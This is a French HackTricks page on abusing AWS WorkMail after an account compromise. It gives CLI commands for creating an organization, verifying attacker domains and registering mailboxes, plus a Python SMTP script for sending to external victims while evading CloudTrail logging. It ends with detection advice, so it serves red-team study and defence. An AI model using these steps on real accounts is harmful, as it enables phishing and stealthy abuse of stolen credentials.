AWS - WorkMail Post Exploitation

Tip

Apprenez & pratiquez AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Soutenez HackTricks

Consultez les subscription plans!

Rejoignez le 💬 Discord group ou le telegram group ou suivez-nous sur Twitter 🐦 @hacktricks_live.

Partagez des hacking tricks en soumettant des PRs aux HackTricks et HackTricks Cloud github repos.

Abuser WorkMail pour contourner le sandbox de SES

Même si SES est bloqué dans le sandbox (destinataires vérifiés uniquement, ~200 msgs/24h, 1 msg/s), WorkMail n’a pas de restriction équivalente. Un attaquant disposant de clés à long terme peut déployer une infra mail jetable et commencer à envoyer immédiatement :

Créer une organisation WorkMail (limitée par région)

aws workmail create-organization --region us-east-1 --alias temp-mail --directory-id <dir-id-if-reusing>

Vérifier des domaines contrôlés par l’attaquant (WorkMail invoque les APIs SES en tant que workmail.amazonaws.com):

aws ses verify-domain-identity --domain attacker-domain.com
aws ses verify-domain-dkim --domain attacker-domain.com

Créer des utilisateurs de boîte mail et les enregistrer :

aws workmail create-user --organization-id <org-id> --name marketing --display-name "Marketing"
aws workmail register-to-work-mail --organization-id <org-id> --entity-id <user-id> --email marketing@attacker-domain.com

Notes :

Plafond par défaut de destinataires documenté par AWS : 100,000 destinataires externes/jour par org (agrégés entre les utilisateurs).
L’activité de vérification de domaine apparaîtra dans CloudTrail sous SES mais avec invokedBy: workmail.<region>.amazonaws.com, donc les événements de vérification SES peuvent appartenir à une configuration WorkMail plutôt qu’à des campagnes SES.
Les utilisateurs de boîte mail WorkMail deviennent une application-layer persistence indépendante des utilisateurs IAM.

Chemins d’envoi et lacunes de télémétrie

Client Web (WorkMail UI)

Les envois apparaissent comme des événements ses:SendRawEmail dans CloudTrail.
userIdentity.type = AWSService, invokedBy/sourceIPAddress/userAgent = workmail.<region>.amazonaws.com, donc la vraie IP client est masquée.
requestParameters leak toujours l’expéditeur (source, fromArn, sourceArn, configuration set) pour corréler avec les domaines/boîtes mail nouvellement vérifiés.

SMTP (le plus furtif)

Point de terminaison : smtp.mail.<region>.awsapps.com:465 (SMTP over SSL) avec le mot de passe de la boîte mail.
Aucun événement de données CloudTrail n’est généré pour la livraison SMTP, même lorsque les événements de données SES sont activés.
Les points de détection idéaux sont le provisionnement d’org/domain/user et les ARNs d’identité SES référencés dans les événements SendRawEmail envoyés via le web.

Exemple d'envoi SMTP via WorkMail

```python import smtplib from email.message import EmailMessage

SMTP_SERVER = “smtp.mail.us-east-1.awsapps.com” SMTP_PORT = 465 EMAIL_ADDRESS = “marketing@attacker-domain.com” EMAIL_PASSWORD = “SuperSecretPassword!”

target = “victim@example.com” # can be unverified/external msg = EmailMessage() msg[“Subject”] = “WorkMail SMTP” msg[“From”] = EMAIL_ADDRESS msg[“To”] = target msg.set_content(“Delivered via WorkMail SMTP”)

with smtplib.SMTP_SSL(SMTP_SERVER, SMTP_PORT) as smtp: smtp.login(EMAIL_ADDRESS, EMAIL_PASSWORD) smtp.send_message(msg)

</details>

## Considérations de détection

- Si WorkMail n'est pas nécessaire, bloquez-le via des **SCPs** (`workmail:*` deny) au niveau de l'organisation.
- Alerter lors du provisionnement : `workmail:CreateOrganization`, `workmail:CreateUser`, `workmail:RegisterToWorkMail`, et les vérifications SES avec `invokedBy=workmail.amazonaws.com` (`ses:VerifyDomainIdentity`, `ses:VerifyDomainDkim`).
- Surveillez les événements **`ses:SendRawEmail`** anormaux où les ARNs d'identité référencent de nouveaux domaines et où l'IP source/UA est égale à `workmail.<region>.amazonaws.com`.

## Références

- [Threat Actors Using AWS WorkMail in Phishing Campaigns](https://www.rapid7.com/blog/post/dr-threat-actors-aws-workmail-phishing-campaigns)
- [AWS WorkMail limits](https://docs.aws.amazon.com/workmail/latest/adminguide/limits.html)

> [!TIP]
> Apprenez & pratiquez AWS Hacking:<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://hacktricks-training.com/courses/arte)<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
> Apprenez & pratiquez GCP Hacking: <img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training GCP Red Team Expert (GRTE)**](https://hacktricks-training.com/courses/grte)<img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
> Apprenez & pratiquez Az Hacking: <img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training Azure Red Team Expert (AzRTE)**](https://hacktricks-training.com/courses/azrte)<img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
>
> <details>
>
> <summary>Soutenez HackTricks</summary>
>
> - Consultez les [**subscription plans**](https://github.com/sponsors/carlospolop)!
> - **Rejoignez le** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) ou le [**telegram group**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
> - **Partagez des hacking tricks en soumettant des PRs aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
>
> </details>